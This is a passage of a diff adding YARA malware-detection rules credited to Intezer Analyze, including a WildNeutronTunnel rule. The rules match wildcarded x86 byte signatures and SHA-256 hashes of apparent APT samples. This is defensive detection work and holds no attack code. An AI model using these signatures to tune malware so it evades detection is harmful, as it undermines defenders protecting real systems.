+		$block_49 = { 8B ?? 5? E8 ?? ?? ?? ?? 03 ?? ?? 83 ?? ?? 8B ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_50 = { 8B ?? ?? ?? ?? ?? 83 ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? 66 ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D }
+		$block_51 = { 8B ?? ?? ?? ?? ?? 5? B8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_52 = { 8B ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 8D ?? ?? 5? 5? FF D? 85 ?? 0F 84 }
+		$block_53 = { 0F B7 ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 0F 87 }
+		$block_54 = { 0F BF ?? 33 ?? 8B ?? F7 ?? 4? 89 ?? ?? ?? ?? ?? 0F B7 ?? 8B ?? 0F AF ?? 3B ?? 72 }
+		$block_55 = { 8B ?? 2B ?? D1 ?? 8D ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_56 = { 8B ?? ?? ?? ?? ?? 33 ?? 33 ?? 81 E? ?? ?? ?? ?? 1B ?? 89 ?? ?? ?? ?? ?? 0F 88 }
+		$block_57 = { 2B ?? 8D ?? ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_58 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 75 }
+		$block_59 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? FF D? 85 ?? 0F 84 }
+		$block_60 = { 8B ?? ?? ?? 2B ?? D1 ?? 8D ?? ?? B9 ?? ?? ?? ?? 66 ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_61 = { FF B? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_62 = { 8B ?? ?? 5? 8B ?? ?? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_63 = { 83 ?? ?? 89 ?? ?? ?? ?? ?? 0F B7 ?? 33 ?? 89 ?? ?? ?? ?? ?? 66 ?? ?? 0F 84 }
+		$block_64 = { 0F B7 ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? 5? 6A ?? 5? 5? 5? 0F B7 }
+		$block_65 = { 68 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_66 = { 0F B7 ?? 33 ?? 83 ?? ?? 0F 94 ?? 66 ?? ?? ?? 83 ?? ?? 33 ?? 66 ?? ?? ?? 75 }
+		$block_67 = { 8B ?? ?? ?? 0F B7 ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_68 = { 5? 8B ?? 5? 5? 83 ?? ?? ?? A1 ?? ?? ?? ?? 5? 8B ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_69 = { 0F B7 ?? ?? 83 ?? ?? 8D ?? ?? ?? 5? 5? FF 5? ?? ?? 8B ?? 83 ?? ?? 85 ?? 75 }
+		$block_70 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 83 ?? ?? 0F 8C }
+		$block_71 = { FF B? ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_72 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_73 = { 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_74 = { 8D ?? ?? ?? ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_75 = { 8B ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? AB AB AB 66 ?? AA BB }
+		$block_76 = { 0F B7 ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_77 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_78 = { 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 0F 87 }
+		$block_79 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 23 ?? 23 ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_80 = { 8D ?? ?? 66 ?? ?? ?? 0F BF ?? 4? 66 ?? ?? 89 ?? ?? 3B ?? ?? ?? ?? ?? 75 }
+		$block_81 = { 33 ?? 85 ?? 0F 94 ?? 5? 5? 5? 8B ?? ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? 5? C3 }
+		$block_82 = { 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_83 = { 8B ?? ?? 2B ?? D1 ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_84 = { 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 39 ?? ?? 0F 86 }
+		$block_85 = { 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF D? 84 ?? 0F 84 }
+		$block_86 = { 6A ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_87 = { 0F B7 ?? 33 ?? 66 ?? ?? 66 ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 74 }
+		$block_88 = { BB ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_89 = { 8B ?? 2B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? D1 ?? 89 ?? ?? 85 ?? 0F 8E }
+		$block_90 = { 0F B7 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+		$block_91 = { 0F BF ?? ?? 0F BF ?? ?? ?? ?? ?? 03 ?? B8 ?? ?? ?? ?? 2B ?? 3B ?? 75 }
+		$block_92 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_93 = { 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_94 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? F6 ?? ?? 0F 85 }
+		$block_95 = { C7 ?? ?? ?? ?? ?? 0F B7 ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? 66 ?? ?? 0F 84 }
+		$block_96 = { 8D ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_97 = { 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_98 = { BE ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_99 = { 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "683f5b476f8ffe87ec22b8bab57f74da4a13ecc3a5c2cbf951999953c2064fc9" or
+		hash.sha256(0, filesize) == "ccc851cbd600592f1ed2c2969a30b87f0bf29046cdfa1590d8f09cfe454608a5" or
+		hash.sha256(0, filesize) == "b4005530193bc523d3e0193c3c53e2737ae3bf9f76d12c827c0b5cd0dcbaae45" or
+		hash.sha256(0, filesize) == "8ca7ed720babb32a6f381769ea00e16082a563704f8b672cb21cf11843f4da7a" or
+		hash.sha256(0, filesize) == "758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92" or
+		hash.sha256(0, filesize) == "781eb1e17349009fbae46aea5c59d8e5b68ae0b42335cb035742f6b0f4e4087e" or
+		12 of them
+}
+
+rule WildNeutronTunnel {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 8D ?? ?? C7 ?? ?? ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 89 ?? ?? E8 ?? ?? ?? ?? C6 ?? ?? 89 ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_3 = { 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? 31 ?? 8B ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_5 = { 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_6 = { 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 95 ?? ?? ?? 39 ?? 0F 86 }
+		$block_7 = { 8D ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 85 }
+		$block_8 = { A1 ?? ?? ?? ?? 8B ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 44 ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 74 }
+		$block_9 = { E8 ?? ?? ?? ?? F6 ?? 0F BE ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 3B ?? 75 }
+		$block_10 = { 5? 8B ?? 5? 5? 68 ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_11 = { C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_13 = { A1 ?? ?? ?? ?? 8B ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 44 ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 74 }
+		$block_14 = { 8B ?? ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? F3 ?? C7 ?? ?? ?? ?? ?? ?? 0F 97 ?? 0F 92 ?? 38 ?? 74 }
+		$block_15 = { 0F B7 ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 31 ?? 8B ?? ?? 33 ?? ?? ?? ?? ?? 75 }
+		$block_16 = { 8B ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? 31 ?? 0F A4 ?? ?? C1 ?? ?? 01 ?? 11 ?? 39 ?? 0F 83 }
+		$block_17 = { 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8D ?? ?? 8B ?? ?? C6 ?? ?? ?? 4? 83 ?? ?? 0F 87 }
+		$block_18 = { E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 89 }
+		$block_19 = { E8 ?? ?? ?? ?? 9? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? 31 ?? 85 ?? 0F 84 }
+		$block_20 = { 8B ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? ?? 80 3? ?? 0F 45 ?? 83 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_21 = { 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_22 = { 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_23 = { 5? 83 ?? ?? 8B ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? 31 ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_24 = { B8 ?? ?? ?? ?? 85 ?? BA ?? ?? ?? ?? 0F 44 ?? 89 ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 }
+		$block_25 = { 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_26 = { 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 84 ?? 89 ?? 74 }
+		$block_27 = { 8B ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 0F 84 }
+		$block_28 = { B8 ?? ?? ?? ?? 85 ?? BA ?? ?? ?? ?? 0F 45 ?? 89 ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 }
+		$block_29 = { 8B ?? ?? ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 ?? 0F 44 ?? ?? ?? 89 ?? ?? ?? E9 }
+		$block_30 = { 5? 5? 5? 5? 89 ?? 81 E? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 31 ?? 85 ?? 0F 84 }
+		$block_31 = { 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 88 }
+		$block_32 = { 83 ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 ?? 83 ?? ?? 19 ?? 83 ?? ?? 83 ?? ?? 19 ?? 83 }
+		$block_33 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? 0F 95 ?? 85 ?? 74 }
+		$block_34 = { E8 ?? ?? ?? ?? F6 ?? 0F BE ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 75 }
+		$block_35 = { 0F B6 ?? ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 4? 83 ?? ?? 83 ?? ?? 83 ?? ?? 72 }
+		$block_36 = { 8B ?? ?? 8B ?? ?? ?? 03 ?? ?? ?? 66 ?? ?? ?? 8B ?? ?? 0F B7 ?? 8D ?? ?? 8B ?? ?? 03 ?? EB }
+		$block_37 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 31 ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_38 = { C1 ?? ?? 03 ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 89 ?? ?? ?? 0F 88 }
+		$block_39 = { 8B ?? ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_40 = { 8B ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_41 = { 89 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 83 ?? ?? 83 ?? ?? 8D ?? ?? ?? 31 ?? 39 ?? 0F 82 }
+		$block_42 = { 8B ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 88 }
+		$block_43 = { C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? 88 ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? 80 F? ?? 0F 84 }
+		$block_44 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_45 = { 31 ?? 83 ?? ?? 0F 94 ?? 89 ?? 89 ?? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_46 = { 8B ?? ?? B8 ?? ?? ?? ?? 89 ?? C1 ?? ?? D3 ?? 09 ?? ?? 8B ?? ?? ?? 33 ?? ?? ?? ?? ?? 0F 85 }
+		$block_47 = { 8B ?? ?? 83 ?? ?? 66 ?? ?? ?? ?? ?? 0F 94 ?? 83 ?? ?? ?? ?? 0F 94 ?? 20 ?? 88 ?? ?? ?? 74 }
+		$block_48 = { 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_49 = { 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? 33 ?? ?? ?? ?? ?? 0F 85 }
+		$block_50 = { 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 88 }
+		$block_51 = { 8B ?? ?? ?? 89 ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_52 = { 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_53 = { 8B ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_54 = { 0F B6 ?? ?? 83 ?? ?? 32 ?? ?? 0F B6 ?? 0F B6 ?? ?? ?? ?? ?? 88 ?? ?? 83 ?? ?? 83 ?? ?? 75 }
+		$block_55 = { 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 0F 8C }
+		$block_56 = { C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_57 = { 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 89 ?? E8 ?? ?? ?? ?? 31 ?? 85 ?? 0F 94 ?? E9 }
+		$block_58 = { 5? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 4? 83 ?? ?? 0F 8E }
+		$block_59 = { 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? 31 ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_60 = { C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 88 }
+		$block_61 = { 89 ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_62 = { 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? 31 ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_63 = { 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_64 = { A1 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 84 ?? 0F 85 }
+		$block_65 = { 83 ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? 89 ?? 0F 84 }
+		$block_66 = { FF D? 0F B6 ?? 68 ?? ?? ?? ?? 83 ?? ?? 6A ?? 89 ?? ?? ?? ?? ?? FF D? 5? FF D? 85 ?? 74 }
+		$block_67 = { 0F B6 ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 4? 83 ?? ?? 83 ?? ?? 83 ?? ?? 72 }
+		$block_68 = { E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 0F 84 }
+		$block_69 = { 5? 89 ?? 83 ?? ?? 0F B7 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 31 ?? 8B ?? ?? 66 ?? ?? ?? 74 }
+		$block_70 = { 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 89 ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_71 = { 5? 89 ?? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? 31 ?? 85 ?? 0F 84 }
+		$block_72 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? 31 ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_73 = { C1 ?? ?? 03 ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 25 ?? ?? ?? ?? 89 ?? ?? ?? 0F 88 }
+		$block_74 = { 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? 8B ?? ?? 33 ?? ?? ?? ?? ?? 0F 85 }
+		$block_75 = { 5? 5? 6A ?? 6A ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_76 = { E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_77 = { 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 94 ?? 84 ?? 0F 85 }
+		$block_78 = { 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 94 ?? 84 ?? 0F 84 }
+		$block_79 = { 5? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? 89 ?? 83 ?? ?? 0F 8F }
+		$block_80 = { 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? 89 ?? 89 ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_81 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_82 = { 5? 5? 5? 5? 83 ?? ?? 89 ?? 89 ?? ?? ?? 89 ?? 8B ?? ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_83 = { 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 0F 84 }
+		$block_84 = { 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8D ?? ?? 39 ?? 0F 8E }
+		$block_85 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? ?? FF D? 85 ?? 0F 85 }
+		$block_86 = { 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_87 = { 83 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_88 = { 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_89 = { 8B ?? B9 ?? ?? ?? ?? 8B ?? ?? F3 ?? 0F 97 ?? 89 ?? 0F 92 ?? 89 ?? 38 ?? 74 }
+		$block_90 = { C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 8C }
+		$block_91 = { C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_92 = { 8B ?? ?? ?? 4? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_93 = { 0F BE ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 84 ?? 75 }
+		$block_94 = { 89 ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 ?? F3 ?? 0F 85 }
+		$block_95 = { C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? 31 ?? 85 ?? 0F 85 }
+		$block_96 = { E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? BA ?? ?? ?? ?? 0F 84 }
+		$block_97 = { C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 89 }
+		$block_98 = { 5? 89 ?? 5? 83 ?? ?? 8B ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? 31 ?? 85 ?? 0F 84 }
+		$block_99 = { 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 85 ?? 89 ?? ?? 89 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "a14d31eb965ea8a37ebcc3b5635099f2ca08365646437c770212d534d504ff3c" or
+		hash.sha256(0, filesize) == "cfacc5389683518ecdd78002c975af6870fa5876337600e0b362abbbab0a19d2" or
+		hash.sha256(0, filesize) == "81955e36dd46f3b05a1d7e47ffd53b7d1455406d952c890b5210a698dd97e938" or
+		12 of them
+}
+
+rule WildNeutron {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 5? BE ?? ?? ?? ?? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 89 ?? ?? 85 ?? 0F 84 }
